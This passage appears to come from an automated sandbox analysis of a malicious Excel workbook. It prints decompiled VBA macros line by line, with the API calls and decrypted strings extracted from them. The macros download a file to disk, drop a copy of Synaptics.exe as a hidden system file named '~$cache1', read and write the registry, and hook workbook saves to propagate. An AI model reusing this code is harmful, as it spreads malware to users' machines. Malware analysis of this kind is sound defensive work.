                          If (WinHttpReq.Status = 200) Then

                          Status

                          203

                          If (InStr(WinHttpReq.ResponseText, "404 Not Found") = 0) And (InStr(WinHttpReq.ResponseText, ">Not Found<") = 0) And (InStr(WinHttpReq.ResponseText, "Dropbox - Error") = 0) Then

                          InStr

                          ResponseText

                          204

                          FDW = True

                          205

                          Set oStream = CreateObject("ADODB.Stream")

                          CreateObject

                          206

                          oStream.Open

                          Open

                          207

                          oStream.Type = 1

                          Type

                          208

                          oStream.Write WinHttpReq.ResponseBody

                          Write

                          ResponseBody

                          209

                          oStream.SaveToFile (NMA)

                          SaveToFile

                          210

                          oStream.Close

                          Close

                          211

                          Else

                          212

                          FDW = False

                          213

                          Endif

                          214

                          Else

                          215

                          FDW = False

                          216

                          Endif

                          217

                          End Function

                          APIsMeta Information

                          CreateObject

                          Environ

                          FileExists

                          FileExists

                          FileCopy

                          SetAttr

                          vbHidden

                          vbSystem

                          StringsDecrypted Strings
                          "scripting.filesystemobject"
                          "ALLUSERSPROFILE"
                          LineInstructionMeta Information
                          102

                          Sub SaveAsInj(DIR as String)

                          103

                          Dim FSO as Object

                          104

                          Dim FN as String

                          106

                          Set FSO = CreateObject("scripting.filesystemobject")

                          CreateObject

                          107

                          FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"

                          Environ

                          109

                          If FSO.FileExists(FN) Then

                          FileExists

                          110

                          If Not FSO.FileExists(DIR & "\~$cache1") Then

                          FileExists

                          111

                          FileCopy FN, DIR & "\~$cache1"

                          FileCopy

                          112

                          Endif

                          113

                          SetAttr (DIR & "\~$cache1"), vbHidden + vbSystem

                          SetAttr

                          vbHidden

                          vbSystem

                          114

                          Endif

                          115

                          End Sub

                          APIsMeta Information

                          CreateObject

                          RegRead

                          StringsDecrypted Strings
                          "WScript.Shell"
                          LineInstructionMeta Information
                          125

                          Function RegKeyExists(i_RegKey as String) as Boolean

                          126

                          Dim myWS as Object

                          128

                          On Error Goto ErrorHandler

                          129

                          Set myWS = CreateObject("WScript.Shell")

                          CreateObject

                          130

                          myWS.RegRead i_RegKey

                          RegRead

                          131

                          RegKeyExists = True

                          132

                          Exit Function

                          133

                          ErrorHandler:

                          135

                          RegKeyExists = False

                          136

                          End Function

                          APIsMeta Information

                          CreateObject

                          RegRead

                          StringsDecrypted Strings
                          "WScript.Shell"
                          LineInstructionMeta Information
                          117

                          Function RegKeyRead(i_RegKey as String) as String

                          118

                          Dim myWS as Object

                          120

                          On Error Resume Next

                          121

                          Set myWS = CreateObject("WScript.Shell")

                          CreateObject

                          122

                          RegKeyRead = myWS.RegRead(i_RegKey)

                          RegRead

                          123

                          End Function

                          APIsMeta Information

                          CreateObject

                          RegWrite

                          StringsDecrypted Strings
                          "WScript.Shell"
                          LineInstructionMeta Information
                          138

                          Sub RegKeySave(i_RegKey as String, i_Value as String, optional i_Type as String = "REG_SZ")

                          141

                          Dim myWS as Object

                          143

                          Set myWS = CreateObject("WScript.Shell")

                          CreateObject

                          144

                          myWS.RegWrite i_RegKey, i_Value, i_Type

                          RegWrite

                          145

                          End Sub

                          APIsMeta Information

                          Saved

                          LineInstructionMeta Information
                          30

                          Private Sub Workbook_BeforeClose(Cancel as Boolean)

                          31

                          If Not SheetsChanged Then

                          32

                          ActiveWorkbook.Saved = True

                          Saved

                          33

                          Endif

                          34

                          End Sub

                          APIsMeta Information

                          ActiveSheet

                          EnableEvents

                          ScreenUpdating

                          Sheets

                          Sheets

                          xlSheetHidden

                          Save

                          Sheets

                          Sheets

                          xlSheetVisible

                          Select

                          ScreenUpdating

                          EnableEvents

                          EnableEvents

                          ScreenUpdating

                          Sheets

                          Sheets

                          xlSheetHidden

                          GetSaveAsFilename

                          SaveAs

                          xlOpenXMLWorkbookMacroEnabled

                          Part of subcall function SaveAsInj@ThisWorkbook: CreateObject

                          Part of subcall function SaveAsInj@ThisWorkbook: Environ

                          Part of subcall function SaveAsInj@ThisWorkbook: FileExists

                          Part of subcall function SaveAsInj@ThisWorkbook: FileExists

                          Part of subcall function SaveAsInj@ThisWorkbook: FileCopy

                          Part of subcall function SaveAsInj@ThisWorkbook: SetAttr

                          Part of subcall function SaveAsInj@ThisWorkbook: vbHidden

                          Part of subcall function SaveAsInj@ThisWorkbook: vbSystem

                          Path

                          Sheets

                          Sheets

                          xlSheetVisible

                          Select

                          ScreenUpdating

                          EnableEvents

                          StringsDecrypted Strings
                          "Excel \xc7al\x0131\x015fma Kitab\x0131 (*.xlsm), *.xlsm"
                          LineInstructionMeta Information
                          51

                          Private Sub Workbook_BeforeSave(ByVal SaveAsUI as Boolean, Cancel as Boolean)

                          52

                          Dim i as Integer

                          53

                          Dim AIndex as Integer

                          54

                          Dim FName

                          56

                          AIndex = ActiveWorkbook.ActiveSheet.Index

                          ActiveSheet

                          58

                          If SaveAsUI = False Then

                          59

                          Cancel = True

                          60

                          Application.EnableEvents = False

                          EnableEvents

                          61

                          Application.ScreenUpdating = False

                          ScreenUpdating

                          63

                          For i = 1 To ActiveWorkbook.Sheets.Count - 1

                          Sheets

                          64

                          ActiveWorkbook.Sheets(i).Visible = xlSheetHidden

                          Sheets

                          xlSheetHidden

                          65

                          Next i

                          Sheets

                          66

                          ActiveWorkbook.Save

                          Save

                          68

                          For i = 1 To ActiveWorkbook.Sheets.Count

                          Sheets

                          69

                          ActiveWorkbook.Sheets(i).Visible = xlSheetVisible

                          Sheets

                          xlSheetVisible

                          70

                          Next i

                          Sheets

                          71

                          ActiveWorkbook.Sheets(AIndex).Select

                          Select

                          72

                          SheetsChanged = False

                          74

                          Application.ScreenUpdating = True

                          ScreenUpdating

                          75

                          Application.EnableEvents = True

                          EnableEvents

                          76

                          Else

                          77

                          Cancel = True

                          78

                          Application.EnableEvents = False

                          EnableEvents

                          79

                          Application.ScreenUpdating = False

                          ScreenUpdating

                          81

                          For i = 1 To ActiveWorkbook.Sheets.Count - 1

                          Sheets

                          82

                          ActiveWorkbook.Sheets(i).Visible = xlSheetHidden

                          Sheets

                          xlSheetHidden

                          83

                          Next i

                          Sheets

                          85

                          FName = Application.GetSaveAsFilename(fileFilter := "Excel \xc7al\x0131\x015fma Kitab\x0131 (*.xlsm), *.xlsm")

                          GetSaveAsFilename

                          86

                          If FName <> False Then

                          87

                          ActiveWorkbook.SaveAs Filename := FName, FileFormat := xlOpenXMLWorkbookMacroEnabled

                          SaveAs

                          xlOpenXMLWorkbookMacroEnabled

                          88

                          SaveAsInj ActiveWorkbook.Path

                          Path

                          89

                          Endif

                          91

                          For i = 1 To ActiveWorkbook.Sheets.Count

                          Sheets

                          92

                          ActiveWorkbook.Sheets(i).Visible = xlSheetVisible

                          Sheets

                          xlSheetVisible

                          93

                          Next i

                          Sheets

                          94

                          ActiveWorkbook.Sheets(AIndex).Select

                          Select

                          95

                          SheetsChanged = False

                          97

                          Application.ScreenUpdating = True

                          ScreenUpdating

                          98

                          Application.EnableEvents = True

                          EnableEvents

                          99

                          Endif

                          100

                          End Sub

                          APIsMeta Information

                          Sheets

                          ActiveWorkbook

                          Sheets

                          ActiveWorkbook

                          LineInstructionMeta Information
                          44

                          Private Sub Workbook_SheetActivate(ByVal Sh as Object)

                          45

                          If ActiveWorkbook.Sheets.Count <> SheetCount Then

                          Sheets

                          ActiveWorkbook

                          46

                          SheetsChanged = True

                          47

                          SheetCount = ActiveWorkbook.Sheets.Count

                          Sheets

                          ActiveWorkbook

                          48

                          Endif

                          49

                          End Sub

                          LineInstructionMeta Information
                          36

                          Private Sub Workbook_SheetChange(ByVal Sh as Object, ByVal Target as Range)

                          37

                          SheetsChanged = True

                          38

                          End Sub

                          LineInstructionMeta Information
                          40

                          Private Sub Workbook_NewSheet(ByVal Sh as Object)

                          41

                          SheetsChanged = True

                          42

                          End Sub

                          Reset < >